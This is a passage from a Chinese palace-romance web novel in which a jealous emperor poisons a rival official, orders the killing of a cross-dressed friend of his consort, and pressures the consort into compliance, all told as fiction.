承明殿只剩下乌时晏与裴谨。 乌时晏走到一旁的案桌,这里早放好了两杯酒,与方才那壶毒酒并不一样。 因为他大发慈悲给了裴谨一条生路:“裴谨,朕不想杀你。现在这里有两杯酒,一杯毒酒,一杯烈酒,你必须选一杯,若喝了毒酒,便算作你自知不堪而自尽,若喝了酒没死,朕便放你出宫。” “然即便如此,朕也留不得你,朕会将你远远外放出京,终生都没有再当京官的可能,许是活着还不如死了。” 一旦远离京城,做个小小的地方官,对裴谨这样的人来说,跟跌入泥潭没什么区别,况且他原本是可以平步青云的。 乌时晏至今想不明白,裴谨为何要跟他争阿妤。 自那晚在蘅芜院明白裴谨早知道身边人是谁,乌时晏回想起他醒来后去找戚妤,在窗外听到的那声裴郎,便觉得裴谨这厮,胆大包天。 阿妤自然不可能有错,有错的只会是裴谨。 裴谨诱使了阿妤。 乌时晏不禁对裴谨升起浓浓的厌恶。 若非裴师…… 裴谨道:“微臣谢陛下开恩。” 他拿起离他最近的那杯酒,一手托底一手扶杯,没有任何犹豫地一饮而尽。 通常来说,放得离天子近的最不可能是毒药,偏偏裴谨连选都不选。 乌时晏不知道哪杯才是真正的毒酒,他眼见着裴谨并未毒发,便拂袖道:“尽快滚出京城。” 裴谨拱手:“诺。” 他往后退了几步,转身出殿。 殿外,裴谨往一旁走了走,他再也压不住喉中的腥苦味,唇间溢出了黑血,他拿出帕子慢慢地擦,直到血重新变的鲜亮,这才将浸了血的帕子塞进袖中。 穿肠毒药,确实厉害。 重新进入殿内,又得了吩咐追出来的太监,意外地见到裴大人唇齿间有丝丝缕缕的鲜血,唇色苍白,只以为他是为之后的命运悲怆,呕出了血。 因为不乏有大臣面见过陛下,会惶惶成这副样子,所以他便自动忽略了过去。 太监笑着上前,打了个手势:“裴大人,陛下吩咐,让您从另一条宫道离开皇宫。” 至于为什么从这条偏僻的宫道走,陛下没说,不过不该揣摩的事他们做太监的也不会去揣摩。 裴谨知道这是为什么,为了远远地绕开昭阳殿,不给他和戚妤见面的机会。 裴谨点头,在太监的带路下往那条宫道走去。 即便旁人瞧他一眼,便会知道他遭了陛下的挂落,但裴谨的步伐与进宫时没什么不同,夷然自若。 戚妤学弓箭的第一天并不顺利,她的手被磨红了才堪堪找到要领。 宫人早早准备好了治外伤的圣药,小小一盒,比黄金轻,比黄金贵。 听师傅说今天先到这里,宫娥忙上前给戚妤厚厚涂了一层,准备包上帕子时被戚妤制止了。 “不必,连伤都没有。” 学了一个时辰,戚妤额上出了一层薄汗,她道:“不再停留了,回昭阳殿。” 戚妤出了箭场,登上轿辇,一行人往昭阳殿的方向走去。 与此同时,鲜少有臣子经过的宫道尽头却出现了两个人。 戚妤歪着头,握着帕子,缓缓看去。 竟是裴谨,像是刚从承明殿的方向离开,不走近路出宫,偏偏绕了个远路。 而让戚妤一直盯着裴谨瞧,则是他的状态实在称不上好,额前破了好大一个口,往外流着几行浓稠的鲜血。 更显得脸色苍白如纸。 然而裴谨却一点没将这道伤口放在心上,波澜不惊,只顾往前走。 擦也不擦,上药也未上。 他的身影由远到近。 忽然,裴谨微微晃荡了一下,似是再也承受不住,但他仍稳住了脚步,见有宫中贵人经过,退至了一旁。 戚妤扶了扶额,不禁有些同情,在经过裴谨后,她唤来佩玖,低声吩咐道:“将这瓶药速去送给裴大人。” 在佩玖接过药膏,领命准备离开时,戚妤又叫住她,递出了一条干净的帕子。 戚妤的轿辇并未停下。 佩玖带着东西小跑向裴谨,等近了才出声道:“裴大人,请等一等。” 裴谨停下,转身倾耳,实则在悄然抬眼光明正大地看向坐在轿辇上的那抹倩影,直至轿辇转了个弯,消失在视野中,他才道:“多谢佩玖姑娘。微臣感恩娘娘怜悯,微臣的伤无妨,请娘娘不必担忧。” 从余光瞧见昭阳殿的宫人,他脑中就只剩下了戚妤。 额头上的伤实在很妙,仅仅是装作不堪重负晃了一下,便博得了戚妤的怜悯。 陛下手段粗糙,他们之间,陛下胜只胜在,一个是君,一个是臣。 裴谨并无造反的心思,他和陛下抱负相同,都为还天下太平,陛下是给乌姓皇室收拾烂摊子,他则是在为身上的血脉给百姓赎罪,因此对待每一个案子都兢兢业业,力求清明。 裴府的一半家财也在这几年陆续散给了各地的育婴堂,又专养了一批人进行后续暗查,以确保让真正有需要的人受惠。 佩玖将东西交给裴谨:“奴婢记下了,定会转述给娘娘。” 而后利落地服身离开。 裴谨拿到帕子,却不舍得擦,在太监隐晦地扫视下,他仍旧遵从本心,叠好放在了胸前。 他叹了口气。 今晚就得打通关窍了,最好明天赴地方任,不然他怕多呆一天,太监将今天看到的添油加醋,陛下会忍不住杀了他。 承明殿。 裴大人无事,安排毒酒的太监清楚剩下的那杯就是毒酒。 陛下对裴大人是实实在在动了杀心。 太监将剩下的那杯酒端下去,不敢让毒酒在殿内久留,又因田文善要见他,他将毒酒泼到了屋前落了果的盆栽中,便算是处理干净了。 他准备走时,却见一只松鼠灵活地跑上了盆栽。 这是只意外跑到承明殿的松鼠,太监眼熟它,却没有动,他觉得,既是畜生,毒死便毒死了。 然而,松鼠抱起落在盆栽中泥土表面的小果,填进嘴里,许是尝到酒味,身子晃了一下,便连忙吐出来,一溜烟跑走了。 怎么可能?太监愕然。 这可是穿肠毒药,一滴就可以致命。 更别说松鼠这种脆弱的小生命了。 太监可以肯定,那颗落果上沾满了毒酒,在松鼠塞进嘴中的那一刻,就该被毒死了。 太监额头上陡生出一层冷汗,这杯不是毒酒,那裴大人喝了毒酒怎会无事发生? 他强压震惊去了田文善那里,却不敢表露出分毫惊诧。 他觉得是他准备错了酒,将两杯全准备成了烈酒,若捅出去,他小命难保。 田文善受了罚,在屋内静养,见太监不同于往日的反应,便记在了心间,在这名太监退下后,他示意人盯住了他。 田文善嗅到了将功补过的机会,他若不尽快赢回陛下的信任,李昌就该狠狠压他一头了。 第42章 戚妤听到佩玖的回禀, 便将裴谨的事放下了。 看见裴谨受伤,她是会揪心,但药送了,帕子送了, 她也会适可而止。 毕竟乌时晏与裴谨之间, 既是君臣, 曾经又横亘着赵婉仪, 冲突是早晚的事。 只是戚妤不明白, 最近好似没发生什么让乌时晏容忍不了裴谨的大事, 曾经裴谨与赵婉仪那么亲密, 都不见乌时晏动怒,现在看裴谨额前的伤,几乎透着恨不得除之而后快的紧迫感。 当真是怪事。 戚妤不觉得是因为她,她在裴府时, 乌时晏很能容忍裴谨,即便她与裴谨朝夕相处, 乌时晏都从未在意过, 甚至特意将裴谨支走, 再出现在她面前。 两人都没撞上过。 戚妤品着茶, 与锦榕姑姑闲谈,问她在她去庄子上这段时间宫中发生的事。 后宫的嫔妃除她之外就三个, 被好好地养在披香殿,没有皇帝作为争端, 自然相处颇为和谐。 这时, 宫人喜上眉梢地通禀,陛下到了。 戚妤看了眼天色,连黄昏都没到, 不由纳闷,乌时晏离开时可是说朝政繁杂,让她今晚不必等他,他会在承明殿用过晚膳还要稍晚些才会来。 她再看向乌时晏,发现他又新换了身玄色衣裳,与先前那身相差不大,不仔细看根本看不出来。 乌时晏的衣裳以玄色为主,大多是深色,戚妤是通过他袖口的花纹分辨出来的。 戚妤放下杂绪,起身,不禁惊喜道:“陛下!” 乌时晏忽然出现,她还是颇为高兴的。 乌时晏眸光沉沉,藏着心事,见此却不由柔和了几分:“嗯。” 他上前,握住戚妤的手腕,不免叹惜:“练弓箭练的手都红了。” 戚妤俏皮道:“不妨事,陛下若晚些时候来,连红痕都看不到了。” 乌时晏伸出手,轻刮了下戚妤的鼻子,见戚妤眼中缓缓升起异样的情绪,便让他柔了心肠。 他们默契地没提起裴谨。 乌时晏是得知裴谨与戚妤碰上,就连忙换了身衣裳来昭阳殿。穿着方才几乎要逼死裴谨的衣裳,若戚妤问起,他理不直气也不壮了。 戚妤心软,竟赠了裴谨药与帕子,乌时晏没有细问,便知道定是裴谨又使了下作手段。 乌时晏自然后悔,他没想到,他特意指了路,竟然便利了裴谨。 即便裴谨没有与戚妤说上一句话,但他仍忐忑地来探戚妤的口风。 若是晚上再来,戚妤生他的气,那他真会郁闷透顶。 而戚妤,则是压根没想起那茬。 她不觉得她赠裴谨药膏这种小事会让乌时晏挂怀。 两人坐下,戚妤问:“陛下来昭阳殿可是有事?” 乌时晏自有借口:“朕想起私库中有一把弓,很适合你用,便让人给你带来了。” 戚妤的视线往一旁探去,正见一名太监手中捧着一个木盒。 太监上前,将盒子打开,露出一把低调的金黑色弓。 戚妤拿在手里细细地看,样子手感无一不好,对乌时晏的好感当下便蹭蹭蹭往上涨。 她后知后觉问:“陛下怎么知道臣妾在练习弓箭?” 她下午醒来一时兴起,才去了箭场,因而与乌时晏用午膳时提也未提。 昭阳殿的宫人不会妄议主子,乌时晏又在处理朝政,没有人会拿这种小事去打扰他。 乌时晏不得不提起了裴谨,他饮了一口茶,轻描淡写道:“送裴谨出宫的太监告诉朕的,阿妤要练弓,怎么不告诉朕?” 他在此之前的确不知道,不然就不会指那条路了。 “臣妾觉得这是小事——” 乌时晏正色:“阿妤的小事便是大事。” 戚妤的手一下子被攥紧了,抽也抽不出来,她只得点点头:“下次臣妾定会告诉陛下。” 乌时晏见此话不是敷衍之语,紧绷之色才稍稍缓解。 他来昭阳殿,自然不止是不放心裴谨,还有则是他竟然不了解戚妤的事,这不禁让他倍感空虚。 现下戚妤许下承诺,这才暂时安抚住了他。 乌时晏道:“朕可以陪你一起练弓箭,闲时也可以去庄子上跑马,你喜欢的事朕都可以和你一起去做。” 爱一个人,自然掺杂着讨好。 他觉得这样能留住戚妤。 戚妤没有扫兴:“好啊,那陛下要努力处理朝政,得操劳一段时间了,不过臣妾会一直等着陛下。” 她倾身,捧住乌时晏的脸颊,带着星星点点笑意的目光落到他的脸上:“所以为了尽快空出时间,陛下要专心朝政。” 乌时晏匆匆而来,自然没有带奏折。 不过若是带来,戚妤还要烦扰一阵。 乌时晏心生留恋,戚妤一碰他,他就只想静静地和她呆在一起,闻言脚下如生了根一般,动也未动。 戚妤眨了眨眼,她觉得此时,乌时晏应该说一声,朕回了。 他们才方为明君贤妃的典范。 “陛下?”戚妤用指腹轻轻摩擦乌时晏的脸颊,“臣妾晚上去您的寝宫等你。” 乌时晏眼眸亮起,他自然听懂了这是什么意思,他只要不停的处理朝政,戚妤便会主动去找他。 他将手覆在戚妤的手背上,利索应下,语气沉稳中透着欢欣:“好,那朕便回了。” 戚妤起身,盈盈行礼,浅笑着目送乌时晏离开。 而后她看向锦榕:“锦榕姑姑,将积存的宫务给本宫送来吧。” 见了乌时晏才想起来,她也有好多事没干! 戚妤不由叹气。 等将宫务处理的差不多,戚妤草草用了晚膳,便让宫人提着灯,乘着夜色往寝宫的方向行去。 她到寝宫时,乌时晏还没有回来,戚妤没有让人去通传,自行先去沐浴,而后穿了件素色衣裳等乌时晏。 而乌时晏放下手中的折子往寝宫赶,还未进入殿中,远远的,便见到了殿门前亭亭玉立的戚妤。 她的衣裳很素,只是腰带系起,不经意间掐出了纤腰,头发半挽着散下来,发间只戴了支月牙状的婉约银簪,细长的珍珠耳坠垂着,却没落到肌肤上,更衬得她脖颈修长白皙。 她脸上亦没上什么妆,很是素雅,但肌肤却比白瓷还要细腻漂亮,眼眸乌黑透亮,让人忍不住一亲芳泽。 月光落下,今夜的氛围甚好。 乌时晏大步走过去,碍于一旁的宫人,他只握住了戚妤的手。 走近后,他嗅到了戚妤身上的淡淡清香,像是刚染上去的。 戚妤浅笑道:“陛下。” 见到乌时晏急匆匆的步伐,她便知道特意费了番心思很有成效。 但从乌时晏依旧沉稳的神情来看,她也不觉得自己能迷倒他。 不过这样就很好,有时候牵绊太深也不行。 往寝宫里走的时候,宫人纷纷退下,戚妤点明道:“陛下,臣妾沐浴时特意用了香,陛下可喜欢?若不喜欢,臣妾下次就不用了。” “喜欢,你怎样都喜欢。”乌时晏语速加快,而后他道:“……很香。” 乌时晏的连声喜欢,在夜里便应验到了戚妤身上。 喜欢的程度,让床榻都染上了那种淡而不散的香气。 直至睡前,乌时晏还缠着戚妤问:“是不是朕专心处理朝政,明日还有?” 戚妤胡乱点着头,才被乌时晏放开,真正睡下了。 等第二天醒来,戚妤才反应过来她应了什么给乌时晏。 见贵妃醒了有一会儿,宫人上前,将陛下的叮嘱轻声细语地说给戚妤。 戚妤攥着锦被,一边在心里叹乌时晏,真是个禽兽啊,一边从宫人的口中得知,乌时晏卯时初便起身了,更觉得他不是人。 即便不知道昨晚什么时候睡的,但胡闹了那么久,必定很晚。 且她是很守时的,今日却在巳时中,外面天大亮的时候才醒,也能印证了乌时晏根本没睡多长时间。 戚妤窘迫着在昭阳殿宫娥的服侍下起身。 但别看她身形纤弱,戚妤的气血却是很足,用过午膳,练了会儿字,她就缓了过来。 下午,戚妤照例去练了弓箭,此后小半个月,除了下雨那两天,更是每日不落。 言归正传,有戚妤许下的承诺钓着,乌时晏处理起朝政跟打了鸡血似的,积极的可怕。 等两日后从戚妤的温柔窝里反应过来,再一看,裴谨已经收拾好家当,前去南方赴任了。 他自不好再行刁难之事。 但想来想去,戚妤送出的药膏和帕子,他仍小气地觉得不爽。 裴谨离京,戚妤是知道的。 在赵婉仪随裴谨一同离开京城前,她就让鸽子往庄子上递了信,等戚妤拿到时,他们已经走了。 信上,赵婉仪说给她在京中留了一个名唤菱歌的管事,若宫外有事,尽可吩咐她。 戚妤看了这封信许久,不禁叹道,赵婉仪这般好,早知道她就给乌时晏吹吹枕边风,别让裴谨贬出京了。 她不由后悔自己的置身事外,连累赵婉仪也离了京。 不过,戚妤没有忘记要为赵婉仪重新找一朵破厄花,她用两日的时间将钱财清点一番,让林七带着出宫找专门寻珍贵药材的人,其中自然也麻烦了菱歌,大笔银子砸下去,很快有了回音,有人接了下来,愿意去经年累月的找。 戚妤原本知道自己有钱,但清点过后,却没想到这么有钱。 小头是贵妃的月例、她手边的银钱、乌时晏平日送的东西,大头则是乌时晏上次私库大开送给她的宝贝,以及在宅子主院屋内琳琅满目摆出来的东西,都在后来送到她手上。 她先花的自是手上的现银。 七月下旬,田文善也查出了太监所惊惧的是何事。 那太监在事后冷静下来,反复思索很确定他准备的就是毒酒,问题不在他身上,他松了口气没多久就被田文善的人抓到把柄问了出来。 田文善见多识广,自然清楚世上有人百毒不侵。 造反的齐王便是如此,在陛下打入京城前夕,齐王还想试图设下鸿门宴,毒杀陛下。 乌时晏当时能动手绝不说废话,自然不可能跟齐王这个要败了的反贼玩什么弯弯绕绕,当场便提剑利落地杀了齐王。 齐王身死,他想劝的酒也倾洒出来,后被孟舍确认是毒酒,但明明齐王先喝了一杯,并无中毒的迹象。 齐王不是用酒壶倒的酒,藏不了机关,后来孟舍检查齐王尸体,才发现天底下大部分毒对齐王没有效果。 亦怪不得从前齐王进京后,不管先帝赐下什么他都果断喝下,从不戒备宫宴上的吃食,让先帝倍感齐王的信赖,再加上齐王膝下仅有刚从民间找回来的一女,当时的皇子们只会拉拢他,而不会戒备这个年过半百的异姓王。 田文善眉头紧锁,他迅速冷静下来,将此事向乌时晏禀明。 第43章 七月底, 宫中被一则消息炸开了水花。 陛下准备八月初南巡,后宫各司已经筹备了起来,前朝则在日日做着决断,哪些大臣伴驾, 哪些大臣留京, 为此吵的不可开交。 戚妤收到消息比任何人都早, 乌时晏告诉她是因为反王余孽在南方又兴事了, 趁着入秋南巡, 若到冬天, 路就难行了。 她因此变得忙碌起来。 戚妤自然是要去的, 去就必定带上佩玖,佩玖这两天笑都没落下过。 宫人进入殿内禀报道:“娘娘,披香殿的三位美人求见。” 戚妤稍一思索:“让她们进来吧。” 反王余孽早已不成气候,这次南巡, 除了震慑意味,便是顺路考察各地的官员, 看有没有欺上瞒下, 鱼肉百姓的行径。 后宫妃嫔若是想去, 自然也是可以的。 戚妤无意卡她们, 在周妙茵、吕舒、邓月槐进来后说明来意,她们也想随陛下去南巡, 见识一下不同风光,她便点了点头:“这事不难, 本宫会问过陛下, 约莫今天下午,佩玖会去披香殿走一趟,美人们可先收拾东西。” 三人松了一口气, 听贵妃的意思是十有八九会成。 她们又是一番感激,在昭阳殿饮了茶方回。 午膳时候,乌时晏来昭阳殿用膳,戚妤便向他提了此事。 “披香殿略小,好不容易有了能出宫见识一番天地的机会,错过对她们来说实在遗憾。” 乌时晏咽下了她们进宫才不过半年,怎么能称得上好不容易,但贵妃话在这,他除了顺从不做他想。 乌时晏道:“阿妤说的有理,带上便带上吧,不过是多三辆马车,不妨事。” 经过朝堂上连吵了三天,南巡已经偏了他的本意,要去的大臣不少,奏折也得随时送到他手中,人马已经多到几乎可以预见一路上浩浩荡荡的队伍。 但阿妤可以和他在一起,他车架宽,又特意加固过,里面什么都有,也不会颠簸。 戚妤给乌时晏布了道菜:“臣妾便知道陛下仁慈。” 乌时晏眼眸一亮,戚妤的夸奖总有奇效,他认认真真将她布的膳吃的一干二净。 直到现在,戚妤还摸不太清乌时晏的口味,但只要是她放进他碗里的,好像每道他都喜欢。 她既觉得与有荣焉,毕竟乌时晏偏瘦,能多吃些她的手感也会跟着好,又觉得不愧是帝王,只要每道都喜欢,就会让人摸不清他的真正喜好,这是阳谋啊。 膳后,戚妤陪乌时晏歇了一会儿,便又起来忙南巡要带的东西。 同时派了佩玖前往披香殿。 八月初,南巡正式开始。 队伍从宫门口驶出,旌旗猎猎作响,飘摇而过,侍卫穿着红甲,腰佩长剑,护卫左右。 贵人们的车架旁,跟着婢女小厮。 因为人多,行的慢,队伍连走了两日,方出了京畿,在一个叫清水县的地方停了下来。 清水县外曾修过一个行宫,众人便在行宫暂时落脚。 戚妤坐在乌时晏身边,听宫人前来禀报听的头大,出宫前她需要安排各类事宜,出了宫事情却更多了。 乌时晏摸了摸戚妤的脸颊:“不如交给朕,朕帮你料理好。” 戚妤摇了摇头,在车架上,她都睡了,乌时晏还又起身去处理朝政,若非她半夜醒来,看到屏风外堆着折子的桌子上亮着几盏灯,也许直到现在还不知道。 乌时晏都勤勉到夙夜不懈了,她自不好将这些杂事再推给他。 解毒后的乌时晏,即便不间断的处理朝政,也不会满腹怨气了,甚至戚妤还觉得他在享受这个过程。 乌时晏遗憾作罢,想挑田文善来给戚妤帮忙。 还不待他开口,戚妤便问:“陛下,臣妾可以将宫务分给周美人、吕美人、邓美人吗?” 从她们三人到昭阳殿,她便有了这个想法,若非她当时还能处理过来,也不会现在才提起。 乌时晏不吝夸赞道:“阿妤聪慧。” “但要迅速上手,少不得嬷嬷教导,这事朕来安排。” 她们三人中,谁做的好,就给位份,大加赏赐,有了名利,不怕她们不努力,这样也能尽快减轻戚妤的负担。 他带戚妤出来,是散心的,而不是让她被琐事烦扰。 戚妤没有拒绝,她手中实在分不出人再去慢慢教导她们。 入夜,他们躺到床上,乌时晏伸出手想拉戚妤的衣带,戚妤转身,埋进他怀里道:“陛下,臣妾好累啊。” 她拒绝,一半是因为这两日的舟车劳顿,一半是她怕乌时晏再不多睡一会儿,就该倒下了。 即便年轻,即便身体好,也不能这样糟践啊。 她疼惜他。 乌时晏屈指,不甚情愿。 戚妤伸手盖住他的眼,浅啄了下乌时晏的薄唇:“陛下快些睡吧,明早臣妾还想去清水镇逛一逛。” 清水镇是附近十里八乡唯一的镇子,又临近京城,商队常经过此地,平日里就很热闹,更别说明日还有一个当地的节日 ,商户会提前运来好东西,于这天摆出来,添几分热闹与福气。 乌时晏拉下戚妤的手,看着她的眼眸道:“朕不动你。” 戚妤这才放心。 因早已入秋,戚妤睡觉时已经不会再将乌时晏推开,嫌弃他贴着她热。 为防乌时晏夜里起身,戚妤直接环住了他的胳膊,这才缓缓睡去。 乌时晏在戚妤睡着后,睁开了眼,他每日睡两三个时辰便足够了,更别说午膳后,他们还会厮混在一起,稍睡一会儿,不过他喜欢这一小段时光,这让他觉得甜蜜又安心。 他的目光扫过戚妤的眉毛、鼻梁,唇瓣,只觉得心脏都被填满了。 不过他没起身,因为有所动作,就会惊醒戚妤。 翌日,戚妤醒来时,乌时晏还在床上,这让她感到分外满意。 察觉到动静,乌时晏睁开了眼,戚妤见此眼眸明亮,笑了笑,便与他一同起身了。 宫娥来给戚妤梳了个在民间女子间流行的发髻,戚妤照过铜镜,便拉着同样收拾好的佩玖,带着昭阳殿的宫娥,乘着马车前往清水镇了。 乌时晏忙,暂时抽不出空,不过他们约好了午时在酒楼碰面。 乌时晏派了侍卫跟在戚妤身侧。 到了清水镇,戚妤让侍卫远远跟着,她拉着佩玖,一头扎进了闹市中。 这次虽不如京城乞巧节那日热闹,可也颇具清水镇自己的特色。 戚妤买了甜水,与佩玖一起分了,而后进到一家鲜花铺,她买了两朵白色山茶花,佩玖选了木莲。 她们各拎了一个小篮子,将花插进去,便又去下一个铺子。 有佩玖在,戚妤买东西只需要让佩玖帮忙试戴,就可以一次买两份,又不会多买用不上的小玩意儿。 跟乌时晏在一起时,则是她多看两眼的东西,乌时晏就会在她离开后让人买下。 于是等戚妤回宫一看需要用马车送回来的东西,才会疑惑的想,她那晚有买这么多吗? 在戚妤看团扇时,一柄竹扇在她面前唰一下展开,上面画着一只飞起的白鹭。 “阿妤。”那人出声,声音雌雄莫辨。 佩玖一愣,忙看去,这自然不是陛下,而是一个瘦高的男子,穿着简朴的青衣长袍,乌发只用一根深棕的发带系上,一副读书人的打扮,不过他的面容俊秀,不会让人感到寒酸。 佩玖连忙看向贵妃娘娘,这莫不是娘娘入宫前的相好? 戚妤来不及吐槽好老土的搭讪方式,闻言便探究地看了过去。 她越看越觉得神似,不禁弯唇,眨了眨眼问:“赵兄?” 这个世上只有两个人叫过她阿妤,一个是乌时晏,一个便是赵婉仪。 可她不是与裴谨一同离开京城了吗? 赵婉仪颔首,顾忌着佩玖在,她带着腔调道:“我们从前青梅竹马,你都是唤我赵哥哥的,现在怎么生分了?” 戚妤已经笑傻了,她将手中的东西交给佩玖,挽着赵婉仪,提前带她去了酒楼。 一路上,自然是问赵婉仪如何女扮男装的,好方便,好新奇,好喜欢。 她下次也要。 佩玖看呆了,娘娘有一个青梅竹马,不仅称呼了娘娘只有陛下会叫的阿妤,娘娘还在大庭广众之下揽住了竹马的胳膊,带去了与陛下约好的酒楼。 佩玖拍了拍额头,都没让自己缓过神来。 只得硬着头皮跟上。 赵婉仪低声说着她怎样换了男装,又掩了容貌增了身高,但因后者太过复杂,戚妤只过了下耳,便打定主意要买几套男装以备不时之需。 她们在茶楼的包厢落座,现在距离午时还有一刻钟的时间。 戚妤想着乌时晏到了再与赵婉仪拉开距离,毕竟赵婉仪现在还是男子打扮,误会了可不太妙。 但在佩玖面前,她恶趣味的没有与赵婉仪分开,甚至更亲密了,逗一逗佩玖,气氛都快活了起来。 然而戚妤没预料到乌时晏会提前到,乌时晏在门口便听见了里面夹杂着男声的欢声笑语,侍卫推门的手顿住,深深垂首。 乌时晏眼睛微眯,一瞬间,庞杂的情绪翻涌上心头。 那股燥意几乎将他淹没。 他竟分辨不出怨多些,还是恨多些。 乌时晏推门而入,里面的声音戛然而止,他视线所过之处,原本戚妤正与那男子手拉着手,见他进来,便悄然将男子的手松开了。 此地无银三百两。 但乌时晏却觉得郁气稍缓。 戚妤不知道为什么,自己竟莫名心虚了起来。 而赵婉仪,似是没察觉到气氛的陡变,笑着抓住了戚妤的手:“阿妤,与我生分了。” 阿妤…… 乌时晏在心中默念着阿妤二字,这竟不是他独属的称呼吗? 第44章 乌时晏抿紧唇, 牙齿死死咬住,才没将质问说出口,他拉起戚妤的手,握紧, 将她带到他身边。 方才那一幕太碍眼了, 破落书生说的话也分外刺耳。 生分?他是个什么东西, 也配说这句话。 乌时晏唇边勾出一抹讽笑。 他未杀裴谨, 还杀不了他吗? 赵婉仪怕伤到戚妤, 只得松手, 顺势站了起来。 赵婉仪含笑的眼中带着警惕, 她不惮以最大的恶意来揣度乌时晏这个冷血奸诈的人。 戚妤反应不及,就这么被拉到了乌时晏身边,扶住他的胳膊才勉强稳住身形。 她好像弄清了现在是什么状况,乌时晏吃醋了, 他竟然会吃醋? 戚妤大为震惊,看向乌时晏, 他这副样子好似是想杀了赵婉仪一般, 面上没太多表情, 眼中杀意迸发, 气息沉郁。 戚妤有心解释却不知从何说起。 赵婉仪既然选择改头换面,自有她的道理, 她应该帮忙遮掩,而不是让她暴露出来。 但乌时晏这副样子实在称不上良善。 戚妤原以为乌时晏会问赵婉仪是谁, 她再顺势告知这位赵兄是名女子, 是她以前的一位姐姐,谁知乌时晏一言不发,揽住她的腰便出了雅间, 快步将她带出酒楼,似乎后面有什么洪水猛兽。 站在马车前,戚妤的脚方落了地,她是被乌时晏挟着下来的。 她抬头,撞上了乌时晏霜寒般的目光,他呼吸粗重,落在她腰上的那只手越握越紧,攥得人生疼。 不过这时也顾不得什么了,在乌时晏冷冷道上车时,戚妤连忙言简意赅道:“她是个女子,我是想逗一逗佩玖,却没想到你来了。” 若这人换成裴谨,她都不会把人往和乌时晏约定好的酒楼里面带。 她虽然喜欢乌时晏手感很好、很软的胸膛,裴谨紧实却薄薄一层的腰腹,但也没有傻到夹在两个男人中间,直面修罗场。 况且这半个月来,戚妤隐隐摸出了乌时晏的霸道,若非她注定要回家,还真不敢对裴谨拙劣的诱惑心动,最终接受了下来。 戚妤想到了裴谨,裴谨那般温文尔雅的人,遇到今天这副场面绝对会比乌时晏做的要好。 而非这样一言不发,一句话都不问地将她带走了。 越是想到裴谨,戚妤便越觉得乌时晏失了妥当,紧接着反应过来……她竟然在乌时晏还在她面前时念起了裴谨。 真是不该。 戚妤正色。 乌时晏闻言眼中微愣,拨动着手上的扳指,原本阴郁的气质一荡而空,不禁看向酒楼二楼的方向。 若细看,他的神情即便再镇定自若,也带着微妙的心虚。 来不及了。 戚妤正奇怪乌时晏的反应,可还不待深思,下一瞬,二楼的窗户被破开,赵婉仪滚落在地,捂着受伤的胳膊朝他们看了一眼,便逃命去了。 再看二楼窗户处,侍卫往外探看了一眼,似没想到陛下还在楼下,整个人呆若木鸡,手中的剑也咣当掉了下来。!! “你下命令要杀一个只和你打过一个照面的人?” 戚妤不禁质问道,语气是说不出的失望透顶。 她掰开乌时晏的手,便想去找赵婉仪,但赵婉仪早逃走了,想找也不知从何找起,她不由握了握拳。 紧接着,三五个侍卫从酒楼二楼跑下来,其中一人大着胆子问:“陛下,要去追吗?” 戚妤:“不许去!” 乌时晏道:“办事不力,回去领罚。” 戚妤听着一僵,迟迟不去看乌时晏。 什么叫办事不力? 几个侍卫琢磨着,这应该是不用再去追了。 陛下离开雅间时朝他们打了个手势,他们跟随陛下已久,自然知道这是什么意思,但他们没料到那个男子早有防备。 在他们打晕贵妃的宫女,想将男子秘密杀掉时,那男子竟然有些武功,以至于他们只伤了他的手臂,最后被他破窗逃走。 连累着此事竟在贵妃面前暴露。 亦将陛下的本性暴露无遗。 不过在他们这些侍卫眼中,陛下仍是英明神武,不留后患,凌厉果决的天子。 戚妤想径直离开。 乌时晏平静问:“你要去哪儿?” 戚妤声音发冷:“只要不和你呆在一起,哪儿都可以。” 乌时晏心里空落落的,茫然无措,性子最随和不过的戚妤,也难以再忍受他了。 他紧按手中的扳指:“佩玖还在朕手里。” 戚妤蓦然看向他。 乌时晏沉声道:“上马车,回行宫。” 既然已经卑劣,那就卑劣到底。 戚妤深呼一口气,拂袖绕开乌时晏递来的手,扶着车厢便上去了。 乌时晏望了一眼空了的手掌,随后便握紧了。 明明是对方先挑衅他的,他杀之,何错之有? 至多是他没问清楚罢了。 一想到他唤过的称呼早早就有人不知低喃了多少遍,他十指紧扣过的玉手如今落在另一个男子手中,对他知书守礼的人在另一个男人身边被逗笑,他就连诘问的力气都没有了,只想除之而后快。 至于对方是女子,乌时晏想了想,那也万万不能接受。 乌时晏登上马车,见戚妤似困了般歪在一侧,阖眼假寐。 马车缓缓行驶起来。 乌时晏伸手托起戚妤绵软的脸颊,他低声道:“朕错了。” “可是是她当着朕的面言谈暧昧,朕这才误会了。”他违心道,“若早知她是个女子,朕定然不会吃醋,也不会生出杀心。” 戚妤睁开眼,从他手上偏脸移开:“我不信你。” “裴谨额上的伤也是陛下所为,为什么?” 裴谨被贬的太突兀了,既没掺合进宁王世子的事,赵婉仪归家又不过半日,现在想来,真是处处都透着不对劲。 戚妤看向乌时晏,他知道她与裴谨的事? 乌时晏:“你从前都是叫他裴大人的,何时这般熟稔了?” “他办砸了事,朕自然要罚,一时没压住心中的怒意,这才伤了他,但事后朕也让太监将他送出宫了。” 他不也没事吗? 乌时晏想,他那日应该派御医去的,好查一查他是否喝了毒酒,但那时的他哪顾得了裴谨的死活,自然错失了良机。 戚妤仍是疑惑:“当真?” 乌时晏垂眸,避重就轻道:“比真金还真,他全权负责反王余孽之事,朕对他再信赖不过了。” 如果裴谨与反王有关系,那怪不得反王余孽会分崩离析的这么快,每一次冒头都被铲除的一干二净。 所以现下朝中大臣才不将反王余孽当回事,争着抢着要南巡。 乌时晏可以肯定裴谨为民的一片赤诚之心,他若是反王余孽中举足轻重的人物,也是不会为他们办事的。 戚妤抿着唇,裴谨不是被她连累的倒还好,但乌时晏要杀赵婉仪是不争的事实。 甚至还拿佩玖要挟她,她知道只有两人在一起才能将话说透,可还是极厌烦这种手段。 连乌时晏低声下气地扮可怜她也不吃了。 戚妤恹恹道:“臣妾想休息会儿。” 乌时晏有心问那人是谁,跟戚妤从前有什么联系,以及戚妤的过去,见此也只好打住。 马车一路朝行宫驶去。 戚妤没睡着,乌时晏落在她脸上的视线太强烈了,搅扰的她一点睡意都没有。 而乌时晏也知道戚妤没睡,他就这么肆无忌惮的看着。 阿妤逃不走的。 他会用甜言蜜语织一座困笼,除了宫人,不许任何人来招惹她。 乌时晏已经放弃探寻戚妤的过去,至少她现在乃至未来都是他的。 他们会在一起,一日又一日的混成老夫老妻,他们会有一个孩子,当然,不要孩子也可以。 马车抵达行宫,直接驶进了他们的住处。 戚妤在乌时晏身后下了马车,淡淡道:“臣妾先回了。” 